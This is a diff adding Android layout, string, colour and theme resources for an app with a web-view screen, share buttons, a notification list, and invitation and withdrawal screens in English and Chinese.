+            style="@android:style/Widget.ProgressBar.Large"
+            android:layout_width="100dp"
+            android:layout_height="100dp"
+            android:layout_gravity="center_horizontal" />
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_gravity="center_horizontal"
+            android:layout_marginTop="10dp"
+            android:text="@string/agentweb_loading" />
+
+        <TextView
+            android:id="@+id/errormsg"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginTop="10dp"
+            android:textColor="#999999"
+            android:textSize="16sp" />
+    </LinearLayout>
+
+    <androidx.cardview.widget.CardView
+        android:id="@+id/bt_otherapp"
+        android:layout_width="50dp"
+        android:layout_height="50dp"
+        android:layout_alignParentTop="true"
+        android:layout_alignParentRight="true"
+        android:layout_marginTop="90dp"
+        android:layout_marginRight="20dp"
+        android:visibility="invisible"
+        app:cardBackgroundColor="@color/dialog_bg"
+        app:cardCornerRadius="50dp">
+
+        <ImageView
+            android:id="@+id/iv_otherApp"
+            android:layout_width="30dp"
+            android:layout_height="30dp"
+            android:layout_gravity="center"
+            android:src="@mipmap/ic_shousuo" />
+
+    </androidx.cardview.widget.CardView>
+
+    <!-- 分享的app -->
+    <LinearLayout
+        android:id="@+id/layout_otherapp"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_below="@+id/bt_otherapp"
+        android:layout_alignStart="@+id/bt_otherapp"
+        android:layout_alignEnd="@+id/bt_otherapp"
+        android:layout_marginTop="10dp"
+        android:gravity="center_horizontal"
+        android:orientation="vertical"
+        android:visibility="visible">
+
+        <androidx.cardview.widget.CardView
+            android:id="@+id/iv_home"
+            android:layout_width="50dp"
+            android:layout_height="50dp"
+            android:background="@android:color/white"
+            android:visibility="gone"
+            app:cardCornerRadius="50dp"
+            app:cardElevation="0dp">
+
+            <ImageView
+                android:layout_width="50dp"
+                android:layout_height="50dp"
+                android:src="@mipmap/ic_hometo" />
+        </androidx.cardview.widget.CardView>
+
+
+
+        <androidx.cardview.widget.CardView
+            android:id="@+id/cv_share"
+            android:layout_width="50dp"
+            android:layout_height="50dp"
+            android:layout_marginTop="10dp"
+            android:visibility="gone"
+            app:cardBackgroundColor="@color/black"
+            app:cardCornerRadius="50dp"
+            app:cardElevation="2dp">
+
+            <ImageView
+                android:id="@+id/iv_share"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:padding="10dp"
+                android:scaleType="centerInside"
+                android:src="@mipmap/share_img"/>
+
+        </androidx.cardview.widget.CardView>
+
+        <androidx.cardview.widget.CardView
+            android:id="@+id/iv_link"
+            android:layout_width="50dp"
+            android:layout_height="50dp"
+            android:layout_marginTop="10dp"
+            android:visibility="gone"
+            app:cardBackgroundColor="@color/black"
+            app:cardCornerRadius="50dp"
+            app:cardElevation="2dp">
+
+            <ImageView
+                android:id="@+id/iv_linkbg"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent" />
+
+            <TextView
+                android:id="@+id/tv_link"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:background="@android:color/transparent"
+                android:gravity="center"
+                android:lines="1"
+                android:ellipsize="middle"
+                android:text="MISSAV"
+                android:textColor="@color/white"
+                android:textSize="12sp"
+                android:textStyle="bold" />
+        </androidx.cardview.widget.CardView>
+
+        <androidx.cardview.widget.CardView
+            android:id="@+id/iv_facebook"
+            android:layout_width="50dp"
+            android:layout_height="50dp"
+            android:layout_marginTop="10dp"
+            android:background="@android:color/white"
+            android:visibility="gone"
+            app:cardCornerRadius="50dp"
+            app:cardElevation="0dp">
+
+            <ImageView
+                android:layout_width="50dp"
+                android:layout_height="50dp"
+                android:src="@mipmap/ic_facebook" />
+        </androidx.cardview.widget.CardView>
+
+        <androidx.cardview.widget.CardView
+            android:id="@+id/iv_whatsapp"
+            android:layout_width="50dp"
+            android:layout_height="50dp"
+            android:layout_marginTop="10dp"
+            android:background="@android:color/white"
+            android:visibility="gone"
+            app:cardCornerRadius="50dp"
+            app:cardElevation="0dp">
+
+            <ImageView
+                android:layout_width="50dp"
+                android:layout_height="50dp"
+                android:src="@mipmap/ic_whatsapp" />
+        </androidx.cardview.widget.CardView>
+
+        <androidx.cardview.widget.CardView
+            android:id="@+id/iv_tel"
+            android:layout_width="50dp"
+            android:layout_height="50dp"
+            android:layout_marginTop="10dp"
+            android:background="@android:color/white"
+            android:visibility="gone"
+            app:cardCornerRadius="50dp"
+            app:cardElevation="0dp">
+
+            <ImageView
+                android:layout_width="50dp"
+                android:layout_height="50dp"
+                android:src="@mipmap/ic_tel" />
+        </androidx.cardview.widget.CardView>
+
+        <androidx.cardview.widget.CardView
+            android:id="@+id/bt_notifyitem"
+            android:layout_width="50dp"
+            android:layout_height="50dp"
+            android:layout_marginTop="10dp"
+            android:background="@android:color/black"
+            app:cardBackgroundColor="@color/dialog_bg"
+            android:visibility="gone"
+            app:cardCornerRadius="50dp"
+            app:cardElevation="0dp">
+
+            <ImageView
+                android:layout_width="50dp"
+                android:layout_height="50dp"
+                android:padding="10dp"
+                android:src="@mipmap/ic_email1" />
+
+        </androidx.cardview.widget.CardView>
+
+    </LinearLayout>
+
+    <androidx.cardview.widget.CardView
+        android:id="@+id/bt_notify"
+        android:layout_width="50dp"
+        android:layout_height="50dp"
+        android:layout_alignParentStart="true"
+        android:layout_alignParentTop="true"
+        android:layout_marginStart="20dp"
+        android:layout_marginTop="160dp"
+        android:visibility="gone"
+        app:cardBackgroundColor="@color/black"
+        app:cardCornerRadius="50dp">
+
+        <ImageView
+            android:id="@+id/iv_notify"
+            android:layout_width="30dp"
+            android:layout_height="30dp"
+            android:layout_gravity="center"
+            android:src="@mipmap/ic_email" />
+
+    </androidx.cardview.widget.CardView>
+
+    <LinearLayout
+        android:id="@+id/show_top_ly"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:layout_below="@id/top_vvvv"
+        android:orientation="vertical"
+
+        android:visibility="visible">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:layout_weight="4"
+            android:orientation="vertical"
+            android:gravity="center">
+
+
+            <com.web.base.CircleImageView
+                android:id="@+id/show_top_v"
+                android:layout_width="100dp"
+                android:layout_height="100dp"
+                android:src="@mipmap/app_logo"
+                android:visibility="visible"
+                app:ease_border_color="#EEEEEE"
+                app:ease_border_width="1px"
+                app:es_shape_type="round" />
+
+
+            <ImageView
+                android:id="@+id/show_top_v1"
+                android:layout_width="wrap_content"
+                android:layout_height="100dp"
+                android:maxWidth="200dp"
+                android:src="@mipmap/app_logo"
+                android:visibility="gone" />
+
+        </LinearLayout>
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:layout_weight="6"
+            android:gravity="center">
+
+            <ProgressBar
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_centerHorizontal="true"
+                android:indeterminateDrawable="@drawable/pass_word_bg1" />
+
+        </LinearLayout>
+    </LinearLayout>
+
+    <FrameLayout
+        android:id="@+id/videoContainer"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent" />
+
+    <ProgressBar
+        android:id="@+id/progressbar"
+        android:layout_width="20dp"
+        android:layout_height="20dp"
+        android:layout_alignParentRight="true"
+        android:layout_marginTop="10dp"
+        android:layout_marginRight="15dp"
+        android:indeterminateDrawable="@drawable/pass_word_bg2"
+        android:visibility="gone" />
+
+
+</RelativeLayout>
+
+

base_theme/src/main/res/layout/activity_notifylist.xml

@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:keepScreenOn="true"
+    android:background="@color/white"
+    android:orientation="vertical">
+
+    <RelativeLayout
+        android:id="@+id/top_vvvv"
+        android:layout_width="match_parent"
+        android:layout_height="?actionBarSize"
+        android:background="@color/white"
+        android:visibility="visible">
+
+        <ImageView
+            android:id="@+id/back_iv"
+            android:layout_width="40dp"
+            android:layout_height="match_parent"
+            android:scaleType="centerInside"
+            android:src="@drawable/ic_action_back" />
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"
+            android:layout_centerInParent="true"
+            android:gravity="center"
+            android:text="@string/app_notify_title"
+            android:textColor="@color/dialog_bg"
+            android:textSize="16sp" />
+    </RelativeLayout>
+
+    <androidx.recyclerview.widget.RecyclerView
+        android:id="@+id/recycler_nofity"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:layout_below="@+id/top_vvvv" />
+
+</RelativeLayout>
+
+

base_theme/src/main/res/layout/dialog_action_confirm.xml

@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:background="@drawable/shape_dialog_bg3"
+    android:orientation="vertical">
+
+    <androidx.appcompat.widget.LinearLayoutCompat
+        android:layout_width="285dp"
+        android:layout_height="wrap_content"
+        android:minHeight="144dp"
+        android:orientation="vertical">
+
+        <TextView
+            android:id="@+id/content_tv"
+            android:layout_width="245dp"
+            android:layout_height="match_parent"
+            android:layout_gravity="center_horizontal"
+            android:layout_marginTop="30dp"
+            android:layout_marginBottom="30dp"
+            android:layout_weight="1"
+            android:gravity="center"
+            android:lineSpacingExtra="4dp"
+            android:textColor="@color/white"
+            android:textSize="16sp" />
+
+        <View
+            android:layout_width="match_parent"
+            android:layout_height="0.5dp"
+            android:background="@color/white" />
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="62dp"
+            android:layout_alignParentBottom="true"
+            android:layout_gravity="center_horizontal"
+            android:gravity="center_vertical"
+            android:orientation="horizontal">
+
+            <TextView
+                android:id="@+id/cancel_tv"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_weight="1"
+                android:gravity="center"
+                android:text="@string/cancel_txt"
+                android:textColor="@color/white"
+                android:textSize="16sp" />
+
+            <View
+                android:id="@+id/line_v"
+                android:layout_width="0.5dp"
+                android:layout_height="42dp"
+                android:background="@color/white" />
+
+            <TextView
+                android:id="@+id/sumbit_tv"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_weight="1"
+                android:gravity="center"
+                android:text="@string/sure_txt"
+                android:textColor="@color/dialog_textcolor"
+                android:textSize="16sp" />
+        </LinearLayout>
+
+    </androidx.appcompat.widget.LinearLayoutCompat>
+
+
+</LinearLayout>

base_theme/src/main/res/layout/item_notify_list.xml

@@ -0,0 +1,176 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+
+    android:gravity="center_vertical"
+    android:orientation="vertical"
+    tools:ignore="MissingDefaultResource">
+
+    <androidx.cardview.widget.CardView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginStart="10dp"
+        android:layout_marginEnd="10dp"
+        android:layout_marginTop="5dp"
+        android:layout_marginBottom="5dp"
+        app:cardCornerRadius="10dp"
+        app:cardElevation="4dp">
+
+        <androidx.constraintlayout.widget.ConstraintLayout
+            android:id="@+id/big_bg"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:background="@color/notify_imagecolor"
+            android:paddingStart="10dp"
+            android:paddingEnd="10dp">
+
+
+            <androidx.appcompat.widget.AppCompatImageView
+                android:id="@+id/iv_icon"
+                android:layout_width="30dp"
+                android:layout_height="30dp"
+                android:src="@mipmap/ic_notifylogo"
+                app:layout_constraintBottom_toBottomOf="@+id/tv_msg_type"
+                app:layout_constraintStart_toStartOf="parent"
+                app:layout_constraintTop_toTopOf="@+id/tv_msg_type" />
+
+
+            <TextView
+                android:id="@+id/tv_msg_type"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginStart="5dp"
+                android:layout_marginTop="10dp"
+                android:layout_marginEnd="10dp"
+                android:background="@drawable/shape_notify_typebg"
+                android:paddingStart="10dp"
+                android:paddingTop="2dp"
+                android:paddingEnd="10dp"
+                android:paddingBottom="2dp"
+                android:textColor="@android:color/white"
+                android:textSize="12sp"
+                android:textStyle="bold"
+                app:layout_constraintStart_toEndOf="@+id/iv_icon"
+                app:layout_constraintTop_toTopOf="parent" />
+
+            <TextView
+                android:id="@+id/tv_msg_time"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="2025-1-8"
+                android:textColor="@color/black"
+                android:textSize="12sp"
+                app:layout_constraintBottom_toBottomOf="@+id/tv_msg_type"
+                app:layout_constraintRight_toRightOf="parent"
+                app:layout_constraintTop_toTopOf="@+id/tv_msg_type" />
+
+            <TextView
+                android:id="@+id/iv_readtype"
+                android:layout_width="10dp"
+                android:layout_height="10dp"
+                android:layout_marginTop="5dp"
+                android:background="@drawable/shape_btn_bg"
+                android:visibility="gone"
+                app:layout_constraintRight_toRightOf="@+id/iv_icon"
+                app:layout_constraintTop_toTopOf="parent" />
+
+            <TextView
+                android:id="@+id/tv_msg_title"
+                android:layout_width="0dp"
+                android:layout_height="wrap_content"
+                android:layout_marginTop="5dp"
+                android:layout_marginEnd="15dp"
+                android:paddingStart="5dp"
+                android:textColor="#383838"
+                android:textSize="14sp"
+                app:layout_constraintStart_toStartOf="@+id/iv_icon"
+                app:layout_constraintTop_toBottomOf="@+id/iv_icon" />
+
+            <ImageView
+                android:id="@+id/ic_notify_pull"
+                android:layout_width="20dp"
+                android:layout_height="20dp"
+                android:layout_marginBottom="5dp"
+                android:background="@mipmap/ic_notify_xiala"
+                android:paddingStart="5dp"
+                android:textColor="#6d80ff"
+                android:textSize="14sp"
+                android:layout_marginTop="4dp"
+                app:layout_constraintBottom_toBottomOf="parent"
+                app:layout_constraintRight_toRightOf="parent"
+                app:layout_constraintTop_toBottomOf="@+id/tv_msg_title" />
+
+            <TextView
+                android:id="@+id/look_iv"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginBottom="5dp"
+                android:drawableLeft="@mipmap/look_img"
+                android:drawablePadding="5dp"
+                android:gravity="center_vertical"
+                android:paddingStart="5dp"
+                android:text="0"
+                android:textColor="@color/black"
+                android:textSize="12sp"
+                app:layout_constraintBottom_toBottomOf="parent"
+                app:layout_constraintLeft_toLeftOf="parent"
+                android:layout_marginTop="4dp"
+                app:layout_constraintTop_toBottomOf="@+id/tv_msg_title" />
+
+        </androidx.constraintlayout.widget.ConstraintLayout>
+    </androidx.cardview.widget.CardView>
+
+    <LinearLayout
+        android:id="@+id/layout_more"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical"
+        android:layout_marginStart="10dp"
+        android:layout_marginEnd="10dp"
+        android:layout_marginBottom="5dp"
+
+        android:visibility="gone">
+
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="1px"
+            android:layout_marginTop="10dp"
+            android:layout_marginBottom="5dp"
+            android:background="@android:color/black" />
+
+        <ImageView
+            android:id="@+id/iv_notifyimage"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="5dp"
+            android:adjustViewBounds="true" />
+
+        <TextView
+            android:id="@+id/iv_notifycontent"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginTop="5dp"
+            android:layout_marginBottom="5dp"
+            android:paddingStart="10dp"
+            android:paddingEnd="10dp"
+            android:textColor="#383838"
+            android:textSize="16sp" />
+
+        <TextView
+            android:id="@+id/iv_notifyjumpclick"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="5dp"
+            android:paddingStart="10dp"
+            android:paddingEnd="10dp"
+            android:textColor="#4169E1"
+            android:textSize="16sp"
+            android:visibility="gone" />
+
+    </LinearLayout>
+
+
+</LinearLayout>

base_theme/src/main/res/values-en/strings.xml

@@ -0,0 +1,57 @@
+<resources>
+    <string name="qsrlwmm_txt">Please Set Your Password</string>
+    <string name="cancel_txt">Cancel</string>
+    <string name="sure_txt">Sure</string>
+    <string name="banbengengxin_txt">New Version Update</string>
+    <string name="xiacigengxin_txt">Next Update</string>
+    <string name="lijigengxin_txt">Update Immediately</string>
+    <string name="app_updater_error_notification_content">Click to close notification</string>
+    <string name="app_updater_error_notification_content_re_download">Click to re-download</string>
+    <string name="app_updater_error_notification_title">Download failed</string>
+    <string name="app_updater_finish_notification_content">Click to install</string>
+    <string name="app_updater_finish_notification_title">Download completed</string>
+    <string name="app_updater_progress_notification_content">Downloading...</string>
+    <string name="app_updater_progress_notification_title">Version update</string>
+    <string name="app_updater_progress_notification_title_2">Downloading game</string>
+    <string name="app_updater_start_notification_content">Getting download data...</string>
+    <string name="app_updater_start_notification_title">Version update</string>
+    <string name="app_updater_start_notification_title_2">Downloading game</string>
+    <string name="notification_title_txt">Need to turn on mobile phone notification permission</string>
+    <string name="notification_cancel_txt">Exit</string>
+    <string name="notification_setting_txt">Setting</string>
+    <string name="app_tishi">Tip</string>
+    <string name="app_hint">Please enter the invitation code</string>
+    <string name="app_sharetitle">My invitation code:</string>
+    <string name="app_sharetitle2">Superior invitation code:</string>
+    <string name="app_totalinvite">Total number of invites:</string>
+    <string name="app_sharecontent">App download link:</string>
+    <string name="app_share">Share</string>
+    <string name="app_checklist">Check Invitation Records</string>
+    <string name="app_invitetitle">Invitation Records</string>
+    <string name="app_checklist_number">Total number of invitees: %d</string>
+    <string name="app_nodata">No Data</string>
+    <string name="app_withdrawtitle">Withdrawal Record</string>
+    <string name="app_withdrawapply_title">Withdrawal Application</string>
+    <string name="app_bankinfo_title">Edit Bank Card Information</string>
+    <string name="app_bankinfo_countrycode">60</string>
+    <string name="app_bankinfo_name">Name:</string>
+    <string name="app_bankinfo_name_hint">Please enter the bank card name</string>
+    <string name="app_bankinfo_code">Bank card account:</string>
+    <string name="app_bankinfo_code_hint">Please enter the bank card account</string>
+    <string name="app_bankinfo_bankcountry">Country:</string>
+    <string name="app_bankinfo_bankcountry_hint">Please select a country</string>
+    <string name="app_bankinfo_bankname">Bank Name:</string>
+    <string name="app_bankinfo_bankname_hint">Please select a bank name</string>
+    <string name="app_bankinfo_bankinfo_tips">Note: Please enter the country code before selecting the bank name!</string>
+    <string name="app_balance">Balance: %s</string>
+    <string name="app_totalearning">Total Earnings: %s</string>
+    <string name="app_withdraw_amount">Amount: %s</string>
+    <string name="app_withdraw_apply_hint">Please enter the withdrawal amount</string>
+    <string name="app_toastapply">Withdrawal application has been submitted</string>
+    <string name="app_toastloading">No additional data available for now</string>
+    <string name="app_notify_title">NOTIFICATIONS</string>
+    <string name="agentweb_loading">Loading…</string>
+    <string name="text_title">Text</string>
+    <string name="image_title">Image</string>
+    <string name="link_title">Jump link</string>
+</resources>

base_theme/src/main/res/values-night/themes.xml

@@ -0,0 +1,69 @@
+<resources xmlns:tools="http://schemas.android.com/tools">
+    <!-- Base application theme. -->
+    <style name="Theme.Calculcator" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
+        <!-- Primary brand color. -->
+        <item name="colorPrimary">@color/purple_200</item>
+        <item name="colorPrimaryVariant">@color/purple_700</item>
+        <item name="colorOnPrimary">@color/black</item>
+        <!-- Secondary brand color. -->
+        <item name="colorSecondary">@color/teal_200</item>
+        <item name="colorSecondaryVariant">@color/teal_200</item>
+        <item name="colorOnSecondary">@color/black</item>
+        <!-- Status bar color. -->
+        <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
+        <!-- Customize your theme here. -->
+    </style>
+    <style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
+        <!-- Primary brand color. -->
+        <item name="colorPrimary">@color/purple_500</item>
+        <item name="colorPrimaryVariant">@color/purple_700</item>
+        <item name="colorOnPrimary">@color/white</item>
+        <!-- Secondary brand color. -->
+        <item name="colorSecondary">@color/teal_200</item>
+        <item name="colorSecondaryVariant">@color/teal_700</item>
+        <item name="colorOnSecondary">@color/black</item>
+        <item name="android:windowFullscreen">true</item>
+        <item name="android:windowNoTitle">true</item>
+
+        <!-- Status bar color. -->
+        <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
+        <!-- Customize your theme here. -->
+    </style>
+
+    <declare-styleable name="CircleImageView">
+        <attr name="ease_border_color" format="color" />
+        <attr name="ease_border_width" format="dimension" />
+        <attr name="ease_press_alpha" format="integer" />
+        <attr name="ease_press_color" format="color" />
+        <attr name="ease_radius" format="dimension" />
+        <attr name="es_shape_type" format="enum">
+            <enum name="none" value="0" />
+            <enum name="round" value="1" />
+            <enum name="rectangle" value="2" />
+        </attr>
+    </declare-styleable>
+
+
+    <!-- 注意：当前AppTheme主题，在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
+系统状态栏颜色，如果按照设计，状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了（
+因为系统文字是白色）。在values-v23表示当Android 23（即android 6）及以上版本将自动使用该目录
+下的主题（即 colorPrimaryDark 使用素色，从而跟标题栏颜色保持一致，实现沉浸式ui效果）。-->
+    <style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
+        <item name="android:windowTranslucentStatus">false</item>
+        <item name="android:windowTranslucentNavigation">false</item>
+        <item name="android:statusBarColor">@android:color/transparent</item>
+        <item name="colorPrimary">@color/white</item>
+        <item name="colorPrimaryDark">@color/white</item>
+        <item name="colorAccent">@color/white</item>
+        <item name="windowActionBar">false</item>
+        <!-- 隐藏Activity窗口的Title标题栏 -->
+        <item name="windowNoTitle">true</item>
+        <!--        <item name="android:windowFullscreen">true</item>-->
+        <!--        <item name="android:windowBackground">@drawable/splah_bg</item>-->
+        <item name="android:windowBackground">@color/white</item>
+
+        <item name="android:navigationBarColor">@color/white</item>
+        <!--        <item name="android:windowBackground">@mipmap/big_bg</item>-->
+        <item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
+    </style>
+</resources>

base_theme/src/main/res/values/colors.xml

@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <color name="purple_200">#FFFFFF</color>
+    <color name="purple_500">#FFFFFF</color>
+    <color name="purple_700">#FFFFFF</color>
+    <color name="teal_200">#FF03DAC5</color>
+    <color name="teal_700">#FF018786</color>
+    <color name="black">#FF000000</color>
+    <color name="white">#FFFFFFFF</color>
+    <color name="jisuanqi">#EF4723</color>
+    <color name="notify_color">#FFFFFFFF</color>
+
+    <color name="dialog_bg">#2C2C2E</color>
+    <color name="dialog_textcolor">#FFA722</color>
+    <color name="dialog_input_bg">#434343</color>
+    <color name="dialog_dark">#BCBCBC</color>
+
+    <color name="notify_textcolor">#ACDFEE</color>
+    <color name="notify_imagecolor">#BDDDB7</color>
+    <color name="notify_jumplinkcolor">#C3B5D0</color>
+    <color name="style_color">#000000</color>
+
+</resources>

base_theme/src/main/res/values/strings.xml

@@ -0,0 +1,59 @@
+<resources>
+    <string name="qsrlwmm_txt">请输入6位密码</string>
+    <string name="cancel_txt">取消</string>
+    <string name="sure_txt">确定</string>
+    <string name="banbengengxin_txt">版本更新</string>
+    <string name="xiacigengxin_txt">下次更新</string>
+    <string name="lijigengxin_txt">立即更新</string>
+    <string name="app_updater_error_notification_content">点击关闭通知</string>
+    <string name="app_updater_error_notification_content_re_download">点击重新下载</string>
+    <string name="app_updater_error_notification_title">下载失败</string>
+    <string name="app_updater_finish_notification_content">点击安装</string>
+    <string name="app_updater_finish_notification_title">下载完成</string>
+    <string name="app_updater_progress_notification_content">正在下载…</string>
+    <string name="app_updater_progress_notification_title">版本更新</string>
+    <string name="app_updater_progress_notification_title_2">下载游戏中</string>
+    <string name="app_updater_start_notification_title">版本更新</string>
+    <string name="app_updater_start_notification_title_2">下载游戏中</string>
+    <string name="app_updater_start_notification_content">正在获取下载数据…</string>
+    <string name="notification_title_txt">需要打开手机通知权限</string>
+    <string name="notification_cancel_txt">退出</string>
+    <string name="notification_setting_txt">设置</string>
+    <string name="app_tishi">提示</string>
+    <string name="app_hint">请输入邀请码</string>
+    <string name="app_sharetitle">我的邀请码:</string>
+    <string name="app_sharetitle2">上级邀请码:</string>
+    <string name="app_totalinvite">总邀请人数:</string>
+    <string name="app_sharecontent">邀请您下载:</string>
+    <string name="app_share">分享</string>
+    <string name="app_checklist">查看邀请记录</string>
+    <string name="app_invitetitle">邀请记录</string>
+    <string name="app_checklist_number">总邀请人数: %d</string>
+    <string name="app_nodata">暂无数据</string>
+    <string name="app_withdrawtitle">提现记录</string>
+    <string name="app_withdrawapply_title">提现申请</string>
+    <string name="app_bankinfo_title">编辑银行卡信息</string>
+    <string name="app_bankinfo_countrycode">86</string>
+    <string name="app_bankinfo_name">持卡人姓名:</string>
+    <string name="app_bankinfo_name_hint">请输入持卡人姓名</string>
+    <string name="app_bankinfo_bankcountry">国家地区:</string>
+    <string name="app_bankinfo_bankcountry_hint">请选择国家地区</string>
+    <string name="app_bankinfo_bankname">开户行名称:</string>
+    <string name="app_bankinfo_bankname_hint">请选择开户行名称</string>
+    <string name="app_bankinfo_code">银行户口:</string>
+    <string name="app_bankinfo_code_hint">请输入银行卡户口</string>
+    <string name="app_bankinfo_bankinfo_tips">（注：请先输入国家区号再选择开户行名称！）</string>
+    <string name="app_balance">余额: %s</string>
+    <string name="app_totalearning">总收益: %s</string>
+    <string name="app_withdraw_amount">金额: %s</string>
+    <string name="app_withdraw_apply_hint">请输入提现金额</string>
+    <string name="app_toastapply">提现申请已提交</string>
+    <string name="app_toastloading">暂无更多数据</string>
+    <string name="app_notify_title">通知</string>
+    <string name="agentweb_loading">Loading…</string>
+    <string name="text_title">文本</string>
+    <string name="image_title">图片</string>
+    <string name="link_title">链接</string>
+
+
+</resources>

base_theme/src/main/res/values/themes.xml

@@ -0,0 +1,88 @@
+<resources xmlns:tools="http://schemas.android.com/tools">
+    <!-- Base application theme. -->
+    <style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
+        <!-- Primary brand color. -->
+        <item name="colorPrimary">@color/purple_500</item>
+        <item name="colorPrimaryVariant">@color/purple_700</item>
+        <item name="colorOnPrimary">@color/white</item>
+        <!-- Secondary brand color. -->
+        <item name="colorSecondary">@color/teal_200</item>
+        <item name="colorSecondaryVariant">@color/teal_700</item>
+        <item name="colorOnSecondary">@color/black</item>
+        <!-- Status bar color. -->
+        <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
+        <!-- Customize your theme here. -->
+    </style>
+
+    <style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
+        <!-- Primary brand color. -->
+        <item name="colorPrimary">@color/purple_500</item>
+        <item name="colorPrimaryVariant">@color/purple_700</item>
+        <item name="colorOnPrimary">@color/white</item>
+        <!-- Secondary brand color. -->
+        <item name="colorSecondary">@color/teal_200</item>
+        <item name="colorSecondaryVariant">@color/teal_700</item>
+        <item name="colorOnSecondary">@color/black</item>
+        <item name="android:windowFullscreen">true</item>
+        <item name="android:windowNoTitle">true</item>
+
+        <!-- Status bar color. -->
+        <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
+        <!-- Customize your theme here. -->
+    </style>
+
+
+    <declare-styleable name="CircleImageView">
+        <attr name="ease_border_color" format="color" />
+        <attr name="ease_border_width" format="dimension" />
+        <attr name="ease_press_alpha" format="integer" />
+        <attr name="ease_press_color" format="color" />
+        <attr name="ease_radius" format="dimension" />
+        <attr name="es_shape_type" format="enum">
+            <enum name="none" value="0" />
+            <enum name="round" value="1" />
+            <enum name="rectangle" value="2" />
+        </attr>
+    </declare-styleable>
+
+
+    <!-- 注意：当前AppTheme主题，在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
+系统状态栏颜色，如果按照设计，状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了（
+ 因为系统文字是白色）。在values-v23表示当Android 23（即android 6）及以上版本将自动使用该目录
+ 下的主题（即 colorPrimaryDark 使用素色，从而跟标题栏颜色保持一致，实现沉浸式ui效果）。-->
+    <style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
+        <item name="android:windowTranslucentStatus">false</item>
+        <item name="android:windowTranslucentNavigation">false</item>
+        <item name="android:statusBarColor">@android:color/transparent</item>
+        <item name="colorPrimary">@color/white</item>
+        <item name="colorPrimaryDark">@color/white</item>
+        <item name="colorAccent">@color/white</item>
+        <item name="windowActionBar">false</item>
+        <!-- 隐藏Activity窗口的Title标题栏 -->
+        <item name="windowNoTitle">true</item>
+        <!--        <item name="android:windowFullscreen">true</item>-->
+        <!--        <item name="android:windowBackground">@drawable/splah_bg</item>-->
+        <item name="android:windowBackground">@color/white</item>
+
+        <item name="android:navigationBarColor">@color/white</item>
+        <!--        <item name="android:windowBackground">@mipmap/big_bg</item>-->
+        <item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
+    </style>
+
+    <style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
+        <!-- 背景透明 -->
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowContentOverlay">@null</item>
+        <!-- 浮于Activity之上 -->
+        <item name="android:windowIsFloating">true</item>
+        <!-- 边框 -->
+        <item name="android:windowFrame">@null</item>
+        <!-- Dialog以外的区域模糊效果 -->
+        <item name="android:backgroundDimEnabled">true</item>
+        <!-- 无标题 -->
+        <item name="android:windowNoTitle">true</item>
